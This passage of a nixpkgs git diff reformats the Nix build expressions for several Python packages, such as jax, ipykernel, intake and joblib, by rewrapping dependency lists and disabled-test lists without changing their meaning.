-    ++ lib.flatten (builtins.attrValues optional-dependencies);
+  nativeCheckInputs = [
+    fsspec
+    psutil
+    pytestCheckHook
+  ]
+  ++ fsspec.optional-dependencies.github
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pytestFlagsArray = [ "-m 'not needs_internet'" ];
 
diff --git a/pkgs/development/python-modules/importlib-metadata/default.nix b/pkgs/development/python-modules/importlib-metadata/default.nix
index 3e1cc903fd56..8fa51767aa19 100644
--- a/pkgs/development/python-modules/importlib-metadata/default.nix
+++ b/pkgs/development/python-modules/importlib-metadata/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
   dependencies = [
     toml
     zipp
-  ] ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   # Cyclic dependencies due to pyflakefs
   doCheck = false;
diff --git a/pkgs/development/python-modules/inform/default.nix b/pkgs/development/python-modules/inform/default.nix
index ba25c90f66db..f1ea508b345d 100644
--- a/pkgs/development/python-modules/inform/default.nix
+++ b/pkgs/development/python-modules/inform/default.nix
@@ -39,12 +39,13 @@ buildPythonPackage rec {
     hypothesis
   ];
 
-  disabledTests =
-    [ "test_prostrate" ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # doctest runs one more test than expected
-      "test_inform"
-    ];
+  disabledTests = [
+    "test_prostrate"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # doctest runs one more test than expected
+    "test_inform"
+  ];
 
   meta = with lib; {
     description = "Print and logging utilities";
diff --git a/pkgs/development/python-modules/inkex/default.nix b/pkgs/development/python-modules/inkex/default.nix
index 1b3b5f236f96..3195032e03e9 100644
--- a/pkgs/development/python-modules/inkex/default.nix
+++ b/pkgs/development/python-modules/inkex/default.nix
@@ -52,16 +52,15 @@ buildPythonPackage {
     gtk3
   ];
 
-  disabledTests =
-    [
-      "test_extract_multiple"
-      "test_lookup_and"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin [
-      "test_image_extract"
-      "test_path_number_nodes"
-      "test_plotter" # Hangs
-    ];
+  disabledTests = [
+    "test_extract_multiple"
+    "test_lookup_and"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin [
+    "test_image_extract"
+    "test_path_number_nodes"
+    "test_plotter" # Hangs
+  ];
 
   disabledTestPaths = [
     # Fatal Python error: Segmentation fault
diff --git a/pkgs/development/python-modules/inline-snapshot/default.nix b/pkgs/development/python-modules/inline-snapshot/default.nix
index ed97e48bc1db..5f2f23bd5152 100644
--- a/pkgs/development/python-modules/inline-snapshot/default.nix
+++ b/pkgs/development/python-modules/inline-snapshot/default.nix
@@ -41,19 +41,18 @@ buildPythonPackage rec {
 
   build-system = [ hatchling ];
 
-  dependencies =
-    [
-      asttokens
-      black
-      click
-      executing
-      rich
-      typing-extensions
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      types-toml
-      toml
-    ];
+  dependencies = [
+    asttokens
+    black
+    click
+    executing
+    rich
+    typing-extensions
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    types-toml
+    toml
+  ];
 
   nativeCheckInputs = [
     dirty-equals
diff --git a/pkgs/development/python-modules/intake/default.nix b/pkgs/development/python-modules/intake/default.nix
index 577322a8bc77..fc46c24eb25b 100644
--- a/pkgs/development/python-modules/intake/default.nix
+++ b/pkgs/development/python-modules/intake/default.nix
@@ -62,7 +62,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     intake-parquet
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   optional-dependencies = {
     server = [
@@ -103,35 +104,34 @@ buildPythonPackage rec {
     "intake/tests/test_top_level.py"
   ];
 
-  disabledTests =
-    [
-      # Disable tests which touch network
-      "http"
-      "test_address_flag"
-      "test_dir"
-      "test_discover"
-      "test_filtered_compressed_cache"
-      "test_flatten_flag"
-      "test_get_dir"
-      "test_pagination"
-      "test_port_flag"
-      "test_read_part_compressed"
-      "test_read_partition"
-      "test_read_pattern"
-      "test_remote_arr"
-      "test_remote_cat"
-      "test_remote_env"
-      # ValueError
-      "test_datasource_python_to_dask"
-      "test_catalog_passthrough"
-      # Timing-based, flaky on darwin and possibly others
-      "test_idle_timer"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # Require deprecated distutils
-      "test_which"
-      "test_load"
-    ];
+  disabledTests = [
+    # Disable tests which touch network
+    "http"
+    "test_address_flag"
+    "test_dir"
+    "test_discover"
+    "test_filtered_compressed_cache"
+    "test_flatten_flag"
+    "test_get_dir"
+    "test_pagination"
+    "test_port_flag"
+    "test_read_part_compressed"
+    "test_read_partition"
+    "test_read_pattern"
+    "test_remote_arr"
+    "test_remote_cat"
+    "test_remote_env"
+    # ValueError
+    "test_datasource_python_to_dask"
+    "test_catalog_passthrough"
+    # Timing-based, flaky on darwin and possibly others
+    "test_idle_timer"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # Require deprecated distutils
+    "test_which"
+    "test_load"
+  ];
 
   pythonImportsCheck = [ "intake" ];
 
diff --git a/pkgs/development/python-modules/internetarchive/default.nix b/pkgs/development/python-modules/internetarchive/default.nix
index b13e862d8b5f..7ff21a8035cf 100644
--- a/pkgs/development/python-modules/internetarchive/default.nix
+++ b/pkgs/development/python-modules/internetarchive/default.nix
@@ -36,7 +36,8 @@ buildPythonPackage rec {
     jsonpatch
     schema
     urllib3
-  ] ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   nativeCheckInputs = [
     responses
diff --git a/pkgs/development/python-modules/invisible-watermark/default.nix b/pkgs/development/python-modules/invisible-watermark/default.nix
index d7ad922cf538..00ca42d94b22 100644
--- a/pkgs/development/python-modules/invisible-watermark/default.nix
+++ b/pkgs/development/python-modules/invisible-watermark/default.nix
@@ -28,18 +28,17 @@ buildPythonPackage rec {
     hash = "sha256-6SjVpKFtiiLLU7tZ3hBQr0KT/YEQyywJj0e21/dJRzk=";
   };
 
-  propagatedBuildInputs =
-    [
-      opencv-python
-      torch
-      pillow
-      pywavelets
-      numpy
-    ]
-    ++ lib.optionals withOnnx [
-      onnx
-      onnxruntime
-    ];
+  propagatedBuildInputs = [
+    opencv-python
+    torch
+    pillow
+    pywavelets
+    numpy
+  ]
+  ++ lib.optionals withOnnx [
+    onnx
+    onnxruntime
+  ];
 
   postPatch = ''
     substituteInPlace imwatermark/rivaGan.py --replace \
diff --git a/pkgs/development/python-modules/iocsearcher/default.nix b/pkgs/development/python-modules/iocsearcher/default.nix
index 9ac6430c5b0e..b6cffd906c58 100644
--- a/pkgs/development/python-modules/iocsearcher/default.nix
+++ b/pkgs/development/python-modules/iocsearcher/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
     phonenumbers
     python-magic
     readabilipy
-  ] ++ eth-hash.optional-dependencies.pycryptodome;
+  ]
+  ++ eth-hash.optional-dependencies.pycryptodome;
 
   # Module has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/ipdb/default.nix b/pkgs/development/python-modules/ipdb/default.nix
index 9d140f2bebfa..66f08d1fd04f 100644
--- a/pkgs/development/python-modules/ipdb/default.nix
+++ b/pkgs/development/python-modules/ipdb/default.nix
@@ -28,15 +28,14 @@ buildPythonPackage rec {
 
   nativeBuildInputs = [ setuptools ];
 
-  propagatedBuildInputs =
-    [
-      ipython
-      decorator
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      exceptiongroup
-      tomli
-    ];
+  propagatedBuildInputs = [
+    ipython
+    decorator
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    exceptiongroup
+    tomli
+  ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
@@ -44,15 +43,14 @@ buildPythonPackage rec {
     export HOME=$(mktemp -d)
   '';
 
-  disabledTestPaths =
-    [
-      # OSError: pytest: reading from stdin while output is captured!  Consider using `-s`.
-      "manual_test.py"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # tests get stuck
-      "tests/test_opts.py"
-    ];
+  disabledTestPaths = [
+    # OSError: pytest: reading from stdin while output is captured!  Consider using `-s`.
+    "manual_test.py"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # tests get stuck
+    "tests/test_opts.py"
+  ];
 
   meta = with lib; {
     homepage = "https://github.com/gotcha/ipdb";
diff --git a/pkgs/development/python-modules/ipykernel/default.nix b/pkgs/development/python-modules/ipykernel/default.nix
index f860af1dc776..2ccb4cd94ee3 100644
--- a/pkgs/development/python-modules/ipykernel/default.nix
+++ b/pkgs/development/python-modules/ipykernel/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
     pyzmq
     tornado
     traitlets
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ appnope ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ appnope ];
 
   # check in passthru.tests.pytest to escape infinite recursion with ipyparallel
   doCheck = false;
diff --git a/pkgs/development/python-modules/ipykernel/tests.nix b/pkgs/development/python-modules/ipykernel/tests.nix
index 57d8b0a5f492..2d8726f1418b 100644
--- a/pkgs/development/python-modules/ipykernel/tests.nix
+++ b/pkgs/development/python-modules/ipykernel/tests.nix
@@ -34,41 +34,40 @@ buildPythonPackage {
     export HOME=$(mktemp -d)
   '';
 
-  disabledTests =
+  disabledTests = [
+    # The following three tests fail for unclear reasons.
+    # pytest.PytestUnhandledThreadExceptionWarning: Exception in thread Thread-8
+    "test_asyncio_interrupt"
+
+    # DeprecationWarning: Passing unrecognized arguments to super(IPythonKernel)
+    "test_embed_kernel_func"
+
+    # traitlets.config.configurable.MultipleInstanceError: An incompatible siblin...
+    "test_install_kernelspec"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin (
     [
-      # The following three tests fail for unclear reasons.
-      # pytest.PytestUnhandledThreadExceptionWarning: Exception in thread Thread-8
-      "test_asyncio_interrupt"
+      # see https://github.com/NixOS/nixpkgs/issues/76197
+      "test_subprocess_print"
+      "test_subprocess_error"
+      "test_ipython_start_kernel_no_userns"
 
-      # DeprecationWarning: Passing unrecognized arguments to super(IPythonKernel)
-      "test_embed_kernel_func"
-
-      # traitlets.config.configurable.MultipleInstanceError: An incompatible siblin...
-      "test_install_kernelspec"
+      # https://github.com/ipython/ipykernel/issues/506
+      "test_unc_paths"
     ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin (
-      [
-        # see https://github.com/NixOS/nixpkgs/issues/76197
-        "test_subprocess_print"
-        "test_subprocess_error"
-        "test_ipython_start_kernel_no_userns"
+    ++ lib.optionals (pythonOlder "3.8") [
+      # flaky test https://github.com/ipython/ipykernel/issues/485
+      "test_shutdown"
 
-        # https://github.com/ipython/ipykernel/issues/506
-        "test_unc_paths"
-      ]
-      ++ lib.optionals (pythonOlder "3.8") [
-        # flaky test https://github.com/ipython/ipykernel/issues/485
-        "test_shutdown"
-
-        # test regression https://github.com/ipython/ipykernel/issues/486
-        "test_sys_path_profile_dir"
-        "test_save_history"
-        "test_help_output"
-        "test_write_kernel_spec"
-        "test_ipython_start_kernel_userns"
-        "ZMQDisplayPublisherTests"
-      ]
-    );
+      # test regression https://github.com/ipython/ipykernel/issues/486
+      "test_sys_path_profile_dir"
+      "test_save_history"
+      "test_help_output"
+      "test_write_kernel_spec"
+      "test_ipython_start_kernel_userns"
+      "ZMQDisplayPublisherTests"
+    ]
+  );
 
   # Some of the tests use localhost networking.
   __darwinAllowLocalNetworking = true;
diff --git a/pkgs/development/python-modules/ipyparallel/default.nix b/pkgs/development/python-modules/ipyparallel/default.nix
index f8fca7e4ac93..e182a70b1118 100644
--- a/pkgs/development/python-modules/ipyparallel/default.nix
+++ b/pkgs/development/python-modules/ipyparallel/default.nix
@@ -50,7 +50,8 @@ buildPythonPackage rec {
     tornado
     tqdm
     traitlets
-  ] ++ lib.optional (pythonOlder "3.10") importlib-metadata;
+  ]
+  ++ lib.optional (pythonOlder "3.10") importlib-metadata;
 
   # Requires access to cluster
   doCheck = false;
diff --git a/pkgs/development/python-modules/ipython/default.nix b/pkgs/development/python-modules/ipython/default.nix
index a07ce0269f45..df5efbfb4da7 100644
--- a/pkgs/development/python-modules/ipython/default.nix
+++ b/pkgs/development/python-modules/ipython/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
     pygments
     stack-data
     traitlets
-  ] ++ lib.optionals (pythonOlder "3.12") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.12") [ typing-extensions ];
 
   optional-dependencies = {
     matplotlib = [ matplotlib ];
@@ -79,20 +80,19 @@ buildPythonPackage rec {
     testpath
   ];
 
-  disabledTests =
-    [
-      # UnboundLocalError: local variable 'child' referenced before assignment
-      "test_system_interrupt"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # AttributeError: 'Pdb' object has no attribute 'curframe'. Did you mean: 'botframe'?
-      "test_run_debug_twice"
-      "test_run_debug_twice_with_breakpoint"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      # FileNotFoundError: [Errno 2] No such file or directory: 'pbpaste'
-      "test_clipboard_get"
-    ];
+  disabledTests = [
+    # UnboundLocalError: local variable 'child' referenced before assignment
+    "test_system_interrupt"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # AttributeError: 'Pdb' object has no attribute 'curframe'. Did you mean: 'botframe'?
+    "test_run_debug_twice"
+    "test_run_debug_twice_with_breakpoint"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    # FileNotFoundError: [Errno 2] No such file or directory: 'pbpaste'
+    "test_clipboard_get"
+  ];
 
   passthru.tests = {
     inherit sage;
diff --git a/pkgs/development/python-modules/irc/default.nix b/pkgs/development/python-modules/irc/default.nix
index d81577d40bbf..5e6fb96ecb5e 100644
--- a/pkgs/development/python-modules/irc/default.nix
+++ b/pkgs/development/python-modules/irc/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
     jaraco-stream
     jaraco-text
     pytz
-  ] ++ lib.optionals (pythonOlder "3.12") [ importlib-resources ];
+  ]
+  ++ lib.optionals (pythonOlder "3.12") [ importlib-resources ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/jaraco-net/default.nix b/pkgs/development/python-modules/jaraco-net/default.nix
index fe6497b618b9..8c1e5a1740cf 100644
--- a/pkgs/development/python-modules/jaraco-net/default.nix
+++ b/pkgs/development/python-modules/jaraco-net/default.nix
@@ -66,7 +66,8 @@ buildPythonPackage rec {
     python-dateutil
     pathvalidate
     jsonpickle
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ ifconfig-parser ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ ifconfig-parser ];
 
   pythonImportsCheck = [ "jaraco.net" ];
 
@@ -76,7 +77,8 @@ buildPythonPackage rec {
     importlib-resources
     pyparsing
     pytest-responses
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ nettools ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ nettools ];
 
   disabledTestPaths = [
     # require networking
diff --git a/pkgs/development/python-modules/jaraco-text/default.nix b/pkgs/development/python-modules/jaraco-text/default.nix
index f82c57175bf8..f58b76d1f35c 100644
--- a/pkgs/development/python-modules/jaraco-text/default.nix
+++ b/pkgs/development/python-modules/jaraco-text/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
     jaraco-context
     jaraco-functools
     inflect
-  ] ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
 
   nativeCheckInputs = [ pytestCheckHook ] ++ lib.optionals (pythonOlder "3.10") [ pathlib2 ];
 
diff --git a/pkgs/development/python-modules/jax/default.nix b/pkgs/development/python-modules/jax/default.nix
index b8168916df8d..2cc1e2723e6f 100644
--- a/pkgs/development/python-modules/jax/default.nix
+++ b/pkgs/development/python-modules/jax/default.nix
@@ -63,7 +63,8 @@ buildPythonPackage rec {
     numpy
     opt-einsum
     scipy
-  ] ++ lib.optionals cudaSupport optional-dependencies.cuda;
+  ]
+  ++ lib.optionals cudaSupport optional-dependencies.cuda;
 
   optional-dependencies = rec {
     cuda = [ jax-cuda12-plugin ];
@@ -87,19 +88,18 @@ buildPythonPackage rec {
   # which creates a circular dependency. See https://discourse.nixos.org/t/how-to-nix-ify-python-packages-with-circular-dependencies/14648/2.
   # Not a big deal, this is how the JAX docs suggest running the test suite
   # anyhow.
-  pytestFlagsArray =
-    [
-      "--numprocesses=4"
-      "-W ignore::DeprecationWarning"
-      "tests/"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # SystemError: nanobind::detail::nb_func_error_except(): exception could not be translated!
-      # reported at: https://github.com/jax-ml/jax/issues/26106
-      "--deselect tests/pjit_test.py::PJitErrorTest::testAxisResourcesMismatch"
-      "--deselect tests/shape_poly_test.py::ShapePolyTest"
-      "--deselect tests/tree_util_test.py::TreeTest"
-    ];
+  pytestFlagsArray = [
+    "--numprocesses=4"
+    "-W ignore::DeprecationWarning"
+    "tests/"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # SystemError: nanobind::detail::nb_func_error_except(): exception could not be translated!
+    # reported at: https://github.com/jax-ml/jax/issues/26106
+    "--deselect tests/pjit_test.py::PJitErrorTest::testAxisResourcesMismatch"
+    "--deselect tests/shape_poly_test.py::ShapePolyTest"
+    "--deselect tests/tree_util_test.py::TreeTest"
+  ];
 
   # Prevents `tests/export_back_compat_test.py::CompatTest::test_*` tests from failing on darwin with
   # PermissionError: [Errno 13] Permission denied: '/tmp/back_compat_testdata/test_*.py'
@@ -109,37 +109,36 @@ buildPythonPackage rec {
     export TEST_UNDECLARED_OUTPUTS_DIR=$(mktemp -d)
   '';
 
-  disabledTests =
-    [
-      # Exceeds tolerance when the machine is busy
-      "test_custom_linear_solve_aux"
-    ]
-    ++ lib.optionals usingMKL [
-      # See
-      #  * https://github.com/google/jax/issues/9705
-      #  * https://discourse.nixos.org/t/getting-different-results-for-the-same-build-on-two-equally-configured-machines/17921
-      #  * https://github.com/NixOS/nixpkgs/issues/161960
-      "test_custom_linear_solve_cholesky"
-      "test_custom_root_with_aux"
-      "testEigvalsGrad_shape"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      # Fails on some hardware due to some numerical error
-      # See https://github.com/google/jax/issues/18535
-      "testQdwhWithOnRankDeficientInput5"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # SystemError: nanobind::detail::nb_func_error_except(): exception could not be translated!
-      # reported at: https://github.com/jax-ml/jax/issues/26106
-      "testInAxesPyTreePrefixMismatchError"
-      "testInAxesPyTreePrefixMismatchErrorKwargs"
-      "testOutAxesPyTreePrefixMismatchError"
-      "test_tree_map"
-      "test_tree_prefix_error"
-      "test_vjp_rule_inconsistent_pytree_structures_error"
-      "test_vmap_in_axes_tree_prefix_error"
-      "test_vmap_mismatched_axis_sizes_error_message_issue_705"
-    ];
+  disabledTests = [
+    # Exceeds tolerance when the machine is busy
+    "test_custom_linear_solve_aux"
+  ]
+  ++ lib.optionals usingMKL [
+    # See
+    #  * https://github.com/google/jax/issues/9705
+    #  * https://discourse.nixos.org/t/getting-different-results-for-the-same-build-on-two-equally-configured-machines/17921
+    #  * https://github.com/NixOS/nixpkgs/issues/161960
+    "test_custom_linear_solve_cholesky"
+    "test_custom_root_with_aux"
+    "testEigvalsGrad_shape"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    # Fails on some hardware due to some numerical error
+    # See https://github.com/google/jax/issues/18535
+    "testQdwhWithOnRankDeficientInput5"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # SystemError: nanobind::detail::nb_func_error_except(): exception could not be translated!
+    # reported at: https://github.com/jax-ml/jax/issues/26106
+    "testInAxesPyTreePrefixMismatchError"
+    "testInAxesPyTreePrefixMismatchErrorKwargs"
+    "testOutAxesPyTreePrefixMismatchError"
+    "test_tree_map"
+    "test_tree_prefix_error"
+    "test_vjp_rule_inconsistent_pytree_structures_error"
+    "test_vmap_in_axes_tree_prefix_error"
+    "test_vmap_mismatched_axis_sizes_error_message_issue_705"
+  ];
 
   pythonImportsCheck = [ "jax" ];
 
diff --git a/pkgs/development/python-modules/jax/test-cuda.nix b/pkgs/development/python-modules/jax/test-cuda.nix
index fefde55687d3..cd56cd518d95 100644
--- a/pkgs/development/python-modules/jax/test-cuda.nix
+++ b/pkgs/development/python-modules/jax/test-cuda.nix
@@ -7,7 +7,8 @@ pkgs.writers.writePython3Bin "jax-test-cuda"
   {
     libraries = [
       jax
-    ] ++ jax.optional-dependencies.cuda;
+    ]
+    ++ jax.optional-dependencies.cuda;
   }
   ''
     import jax
diff --git a/pkgs/development/python-modules/jaxlib/default.nix b/pkgs/development/python-modules/jaxlib/default.nix
index 37030e69f531..af9d998a190a 100644
--- a/pkgs/development/python-modules/jaxlib/default.nix
+++ b/pkgs/development/python-modules/jaxlib/default.nix
@@ -239,7 +239,8 @@ let
       wheel
       build
       which
-    ] ++ lib.optionals effectiveStdenv.hostPlatform.isDarwin [ cctools ];
+    ]
+    ++ lib.optionals effectiveStdenv.hostPlatform.isDarwin [ cctools ];
 
     buildInputs = [
       curl
@@ -256,7 +257,8 @@ let
       six
       snappy
       zlib
-    ] ++ lib.optionals (!effectiveStdenv.hostPlatform.isDarwin) [ nsync ];
+    ]
+    ++ lib.optionals (!effectiveStdenv.hostPlatform.isDarwin) [ nsync ];
 
     # We don't want to be quite so picky regarding bazel version
     postPatch = ''
@@ -339,22 +341,21 @@ let
 
     # Make sure Bazel knows about our configuration flags during fetching so that the
     # relevant dependencies can be downloaded.
-    bazelFlags =
-      [
-        "-c opt"
-        # See https://bazel.build/external/advanced#overriding-repositories for
-        # information on --override_repository flag.
-        "--override_repository=xla=${xla}"
-      ]
-      ++ lib.optionals effectiveStdenv.cc.isClang [
-        # bazel depends on the compiler frontend automatically selecting these flags based on file
-        # extension but our clang doesn't.
-        # https://github.com/NixOS/nixpkgs/issues/150655
-        "--cxxopt=-x"
-        "--cxxopt=c++"
-        "--host_cxxopt=-x"
-        "--host_cxxopt=c++"
-      ];
+    bazelFlags = [
+      "-c opt"
+      # See https://bazel.build/external/advanced#overriding-repositories for
+      # information on --override_repository flag.
+      "--override_repository=xla=${xla}"
+    ]
+    ++ lib.optionals effectiveStdenv.cc.isClang [
+      # bazel depends on the compiler frontend automatically selecting these flags based on file
+      # extension but our clang doesn't.
+      # https://github.com/NixOS/nixpkgs/issues/150655
+      "--cxxopt=-x"
+      "--cxxopt=c++"
+      "--host_cxxopt=-x"
+      "--host_cxxopt=c++"
+    ];
 
     # We intentionally overfetch so we can share the fetch derivation across all the different configurations
     fetchAttrs = {
diff --git a/pkgs/development/python-modules/jedi/default.nix b/pkgs/development/python-modules/jedi/default.nix
index 8e31fe41c780..0c51b535ea88 100644
--- a/pkgs/development/python-modules/jedi/default.nix
+++ b/pkgs/development/python-modules/jedi/default.nix
@@ -44,19 +44,18 @@ buildPythonPackage rec {
     export HOME=$TMPDIR
   '';
 
-  disabledTests =
-    [
-      # sensitive to platform, causes false negatives on darwin
-      "test_import"
-    ]
-    ++ lib.optionals (stdenv.targetPlatform.useLLVM or false) [
-      # InvalidPythonEnvironment: The python binary is potentially unsafe.
-      "test_create_environment_executable"
-      # AssertionError: assert ['', '.1000000000000001'] == ['', '.1']
-      "test_dict_keys_completions"
-      # AssertionError: assert ['', '.1000000000000001'] == ['', '.1']
-      "test_dict_completion"
-    ];
+  disabledTests = [
+    # sensitive to platform, causes false negatives on darwin
+    "test_import"
+  ]
+  ++ lib.optionals (stdenv.targetPlatform.useLLVM or false) [
+    # InvalidPythonEnvironment: The python binary is potentially unsafe.
+    "test_create_environment_executable"
+    # AssertionError: assert ['', '.1000000000000001'] == ['', '.1']
+    "test_dict_keys_completions"
+    # AssertionError: assert ['', '.1000000000000001'] == ['', '.1']
+    "test_dict_completion"
+  ];
 
   meta = with lib; {
     description = "Autocompletion tool for Python that can be used for text editors";
diff --git a/pkgs/development/python-modules/jeepney/default.nix b/pkgs/development/python-modules/jeepney/default.nix
index 2c03136b3372..28ebd4e5c8cc 100644
--- a/pkgs/development/python-modules/jeepney/default.nix
+++ b/pkgs/development/python-modules/jeepney/default.nix
@@ -28,18 +28,17 @@ buildPythonPackage rec {
 
   build-system = [ flit-core ];
 
-  nativeCheckInputs =
-    [
-      dbus
-      pytest
-      pytest-trio
-      pytest-asyncio
-      testpath
-      trio
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      async-timeout
-    ];
+  nativeCheckInputs = [
+    dbus
+    pytest
+    pytest-trio
+    pytest-asyncio
+    testpath
+    trio
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    async-timeout
+  ];
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/development/python-modules/joblib/default.nix b/pkgs/development/python-modules/joblib/default.nix
index 7b5154d905e9..0eabcb9166f7 100644
--- a/pkgs/development/python-modules/joblib/default.nix
+++ b/pkgs/development/python-modules/joblib/default.nix
@@ -45,21 +45,20 @@ buildPythonPackage rec {
 
   pytestFlagsArray = [ "joblib/test" ];
 
-  disabledTests =
-    [
-      "test_disk_used" # test_disk_used is broken: https://github.com/joblib/joblib/issues/57
-      "test_parallel_call_cached_function_defined_in_jupyter" # jupyter not available during tests
-      "test_nested_parallel_warnings" # tests is flaky under load
-      "test_memory" # tests - and the module itself - assume strictatime mount for build directory
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_dispatch_multiprocessing" # test_dispatch_multiprocessing is broken only on Darwin.
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # deprecation warnings with python3.12 https://github.com/joblib/joblib/issues/1478
-      "test_main_thread_renamed_no_warning"
-      "test_background_thread_parallelism"
-    ];
+  disabledTests = [
+    "test_disk_used" # test_disk_used is broken: https://github.com/joblib/joblib/issues/57
+    "test_parallel_call_cached_function_defined_in_jupyter" # jupyter not available during tests
+    "test_nested_parallel_warnings" # tests is flaky under load
+    "test_memory" # tests - and the module itself - assume strictatime mount for build directory
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_dispatch_multiprocessing" # test_dispatch_multiprocessing is broken only on Darwin.
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # deprecation warnings with python3.12 https://github.com/joblib/joblib/issues/1478
+    "test_main_thread_renamed_no_warning"
+    "test_background_thread_parallelism"
+  ];
 
   meta = with lib; {
     changelog = "https://github.com/joblib/joblib/releases/tag/${version}";
diff --git a/pkgs/development/python-modules/johnnycanencrypt/default.nix b/pkgs/development/python-modules/johnnycanencrypt/default.nix
index 796d074481be..4acbc461afbb 100644
--- a/pkgs/development/python-modules/johnnycanencrypt/default.nix
+++ b/pkgs/development/python-modules/johnnycanencrypt/default.nix
@@ -40,20 +40,22 @@ buildPythonPackage rec {
     maturinBuildHook
   ];
 
-  nativeBuildInputs =
-    [ pkg-config ]
-    ++ (with rustPlatform; [
-      bindgenHook
-      cargoSetupHook
-      maturinBuildHook
-    ]);
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ (with rustPlatform; [
+    bindgenHook
+    cargoSetupHook
+    maturinBuildHook
+  ]);
 
-  buildInputs =
-    [ nettle ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ pcsclite ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    nettle
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ pcsclite ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   dependencies = [ httpx ];
 
diff --git a/pkgs/development/python-modules/jsonschema-specifications/default.nix b/pkgs/development/python-modules/jsonschema-specifications/default.nix
index bd096a3608f8..f56adcb87779 100644
--- a/pkgs/development/python-modules/jsonschema-specifications/default.nix
+++ b/pkgs/development/python-modules/jsonschema-specifications/default.nix
@@ -30,7 +30,8 @@ buildPythonPackage rec {
 
   propagatedBuildInputs = [
     referencing
-  ] ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/jsonschema/default.nix b/pkgs/development/python-modules/jsonschema/default.nix
index 1cbae4a0b4ef..52f2ae411411 100644
--- a/pkgs/development/python-modules/jsonschema/default.nix
+++ b/pkgs/development/python-modules/jsonschema/default.nix
@@ -49,17 +49,16 @@ buildPythonPackage rec {
     hatchling
   ];
 
-  dependencies =
-    [
-      attrs
-      jsonschema-specifications
-      referencing
-      rpds-py
-    ]
-    ++ lib.optionals (pythonOlder "3.9") [
-      importlib-resources
-      pkgutil-resolve-name
-    ];
+  dependencies = [
+    attrs
+    jsonschema-specifications
+    referencing
+    rpds-py
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [
+    importlib-resources
+    pkgutil-resolve-name
+  ];
 
   optional-dependencies = {
     format = [
diff --git a/pkgs/development/python-modules/jupysql/default.nix b/pkgs/development/python-modules/jupysql/default.nix
index 09e10afcea2e..e7b742bde38c 100644
--- a/pkgs/development/python-modules/jupysql/default.nix
+++ b/pkgs/development/python-modules/jupysql/default.nix
@@ -82,34 +82,34 @@ buildPythonPackage rec {
     pytestCheckHook
     psutil
     writableTmpDirAsHomeHook
